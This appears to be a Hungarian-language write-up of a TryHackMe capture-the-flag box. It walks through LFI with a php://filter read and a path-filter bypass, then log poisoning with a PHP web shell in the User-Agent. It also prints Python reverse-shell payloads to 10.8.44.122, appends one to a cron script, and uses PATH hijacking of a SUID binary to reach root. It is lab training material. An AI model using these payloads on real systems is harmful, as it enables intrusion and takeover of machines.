Ez egy nem semmi CTF volt. Először szokás szerint végigscanneltem a portokat:
nmap -sS -Pn --top-ports 100 -sV $IP
Csak a 22-es és a 80-as volt nyitva. A weboldal semmi különöset nem tartalmaz. Az első kérdés, hogy van-e alternatív hostname. Ezt viszonylag könnyen megtaláljuk az oldal tetején egy e-mail címben. Amint ez megvan, az ember elgondolkodik, hogy nem lesz-e más az oldal kinézete, ha bejegyezzük gépünkben ezt a host-ot? Írjuk be a nevet az /etc/hosts-ba, és frissítsük a böngészőt.
A weboldal megváltozik. Mindjárt meg is van a második flag. Érdemes kicsit jobban megnézni az oldalt.
gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k -x txt,html,php -u http://mafialive.thm/
Már az elején találunk egy php oldalt, ami egyben az egyik kérdésre a válasz, még a lista egy százalékát sem kell elérni, nyugodtan leállíthatjuk a keresést.
Na, a következő lépésnél elidőztem egy darabig. Abban biztos voltam, hogy a php oldalt kell rávenni valahogy, hogy elolvasson bizonyos fájlokat, de minden próbálkozásom esetén makacskodott a szkript. A hint szerint LFI-t kell használni, amiről életemben nem hallottam, úgyhogy kerestem egy LFI-s oktató anyagot a TryHackMe oldalán, és végigcsináltam. Utána már jobban értettem, hogyan kellene megoldani a feladatot.
A kérdéses php oldal forrását továbbra sem tudtam megnézni. Azt valahogy nem akarta betölteni. Végül base64-el kódoltam.
http://*HOST*/*PHP*.php?view=php://filter/convert.base64-encode/resource=/var/www/html/development_testing/*PHP*.php
Ahol a *HOST* és a *PHP* a két behelyettesítendő találat az előző kérdésekből. Ha visszafejtjük a kódolt adatot, megvan a forrás. Ebből látható, hogy nem használhatjuk a "../.." sztringet, és mindenképp kell a /var/www/html az elején. Hah, ezt könnyű kikerülni, csak ".././.."-vel lépkedek vissza a gyökérig, és kész.
Most már elég sor fájlt meg tudunk nézni, még az első user flag-et is. De kell egy shell, mert anélkül nem ér semmit az élet.
A Burp Suit-al írjuk át az egyik kérés User-Agent-jét:
User-Agent: <?php system($_GET['cmd']); ?>
Ezzel az access.log fájlt átalakíthatjuk php szkriptté! Próbáljuk csak ki a következő URL-t!
*HOST*/*PHP*.php?view=/var/www/html/development_testing/.././.././.././../var/log/apache2/access.log&cmd=python3%20-c%20%27import%20os,pty,socket;s=socket.socket();s.connect((%2210.8.44.122%22,4444));[os.dup2(s.fileno(),f)for%20f%20in(0,1,2)];pty.spawn(%22bash%22)%27
A piros résszel kiemelt a reverz shell, ami a 10.8.44.122 felé nyit a 4444-es porton. Előtte persze el kell indítani egy nc-t a gépünk termináljában.
nc -lvnp 4444
Hurrá, hozzáférünk a fájlrendszerhez! Ajjaj, csak www-data felhasználóval. Jó lenne, ha kapásból root felhasználók lehetnénk, de ekkora szerencsénk nincs. Először az archangel felhasználó bőrébe kell bújnunk. Ha átnézzük a gépet, akkor az /etc/crontab fájlban találunk egy érdekes bejegyzést. Az /opt/helloworld.sh fájlt archangel felhasználó jogaival fut. Én nem szoktam vacakolni shell stabilizálással, ezért szövegszerkesztőt sem tudok indítani. De kinek kell? Indítsunk a saját gépünkön egy másik terminálban egy újabb nc-t, ezúttal a 9001-es porton:
nc -lvnp 9001
Majd módosítsuk a hellowordl.sh-t echo-val:
echo "python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"10.8.44.122\",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(\"bash\")'" >>helloworld.sh
A cron lefuttatja a kódunkat, és a második reverz shell is elindul archangel jogaival. Könnyedén megnézhetjük a második user flag-et. Itt lesz pár megtévesztő helyzet. Pl passwordbackup, ami félrevihet minket, de előbb-utóbb ráakadunk egy suid jogokkal megáldott binárisra a felhasználó fájljai között backup néven. Ha elindítjuk, panaszkodik, hogy nem ér el bizonyos fájlokat.
A visszafejtésével nem érdemes vesződni, de azért belenézhetünk:
strings backup
Hoppá, megpróbál fájlokat másolni, de a /home/users/archangel könyvtárból, ami a rendszeren nem létezik. Ha az elérési utakat nem tudjuk módosítani, akkor készítsünk egy cp parancsot. A korábbi echo-s trükkel hozzunk létre egy szkriptet, aminek cp a neve. Ez is egy reverz shell lesz, de ne a 9001-es, vagy 4444-es, hanem valami más porton. Előtte persze indítsunk egy újabb nc-t a saját gépünkön, ami figyeli az adott portot. Ez lesz a harmadik reverz shell.
Ha kész a cp szkript, akkor vegyük előre a PATH-ban:
export PATH=/home/archangel/secret:$PATH
Majd indítsuk el a backup-ot. Elindul a root shell! A root flag könnyedén olvasható.